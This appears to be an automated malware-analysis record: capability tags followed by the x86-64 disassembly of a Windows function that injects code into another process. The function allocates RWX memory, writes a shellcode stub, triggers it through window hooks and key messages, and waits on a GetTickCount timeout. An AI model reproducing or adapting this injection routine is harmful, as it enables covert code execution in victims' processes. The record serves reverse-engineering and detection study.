Function at 0x1400021c0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc8
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp - 1], rax
mov rax, qword [rbp + 0x7f]
mov rbx, r9
mov r15, r8
mov qword [rbp - 0x71], rax
mov rdi, rdx
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x100
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x14000222d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
mov eax, 0x30000001
jmp 0x140002565
lea r8, str.CallNextHookEx
mov rcx, rsi
lea rdx, str.user32.dll
call section..text
mov rdx, r14
mov rcx, rsi
test rax, rax
jne 0x140002267
mov r9d, 0x8000
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x30000002
jmp 0x140002565
mov qword [rbp - 0x59], rdi
lea r8, [rbp - 0x61]
xor edi, edi
mov dword [rbp - 0x49], 0x48535455
mov dword [rbp - 0x45], 0xffde1d8d
mov dword [rbp - 0x41], 0x8348ffff
mov dword [rbp - 0x3d], 0x8b4d20ec
lea r9d, [rdi + 0x57]
mov dword [rbp - 0x39], 0xc28b4cc8
mov dword [rbp - 0x35], 0xffd18b48
mov dword [rbp - 0x31], 0x83481053
mov dword [rbp - 0x2d], 0x8b4820c4
mov dword [rbp - 0x29], 0xc600ebc8
mov dword [rbp - 0x25], 0xfffff805
mov dword [rbp - 0x21], 0x874818ff
mov dword [rbp - 0x1d], 0xec83480b
mov dword [rbp - 0x19], 0x853ff20
mov dword [rbp - 0x15], 0x20c48348
mov dword [rbp - 0x11], 0x5b038748
mov word [rbp - 0xd], 0x5d5c
mov byte [rbp - 0xb], 0xc3
mov qword [rbp - 0x61], r15
mov qword [rbp - 0x51], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002326
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov dword [rbx], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x30000003
jmp 0x140002565
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140007750], eax
jle 0x140002381
lea rcx, [0x140007750]
call fcn.140002a80
cmp dword [0x140007750], 0xffffffff
jne 0x140002381
xorps xmm0, xmm0
mov qword [0x140007730], rdi
lea rcx, [0x140003ab0]
movdqu xmmword [0x140007720], xmm0
call fcn.140002dc8
lea rcx, [0x140007750]
call fcn.140002a20
mov rdx, qword [0x140007728]
lea rax, [r14 + 0x18]
cmp qword [0x140007720], rdx
mov rcx, rsi
mov qword [0x140007740], rax
cmovne rdx, qword [0x140007720]
mov qword [0x140007728], rdx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, str.user32.dll
mov dword [0x140007738], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140007720]
mov qword [0x140007748], rax
lea rcx, [0x140002590]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x14000240b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov dword [rbx], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x30000004
jmp 0x140002565
mov rax, qword [0x140007728]
cmp qword [0x140007720], rax
jne 0x14000243a
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x30000005
jmp 0x140002565
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xb8], r13
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r12, qword [0x140007728]
mov r13, rax
mov r15, qword [0x140007720]
cmp r15, r12
je 0x1400024c7
nop word [rax + rax]
mov rbx, qword [r15 + 8]
mov rdi, qword [r15]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetForegroundWindow]
xor r9d, r9d
mov edx, 0x100
mov rcx, rbx
lea r8d, [r9 + 0x20]
call qword [sym.imp.USER32.dll_SendMessageA]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov edx, 0x101
mov rcx, rbx
lea r8d, [r9 + 0x20]
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
add r15, 0x10
cmp r15, r12
jne 0x140002470
mov rcx, r13
call qword [sym.imp.USER32.dll_SetForegroundWindow]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r13, qword [rsp + 0xb8]
xor r15d, r15d
mov r12, qword [rsp + 0xc0]
mov ebx, eax
mov byte [rbp - 0x69], 0
nop
mov r9d, 1
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x69]
mov rcx, rsi
lea rdx, [r14 + 0x3a]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
ja 0x140002560
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbp - 0x69], r15b
je 0x1400024f0
mov r8, qword [rbp - 0x71]
mov r9d, 8
mov rdx, r14
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140002565
mov eax, 0x30000006
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.140002890
add rsp, 0xc8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret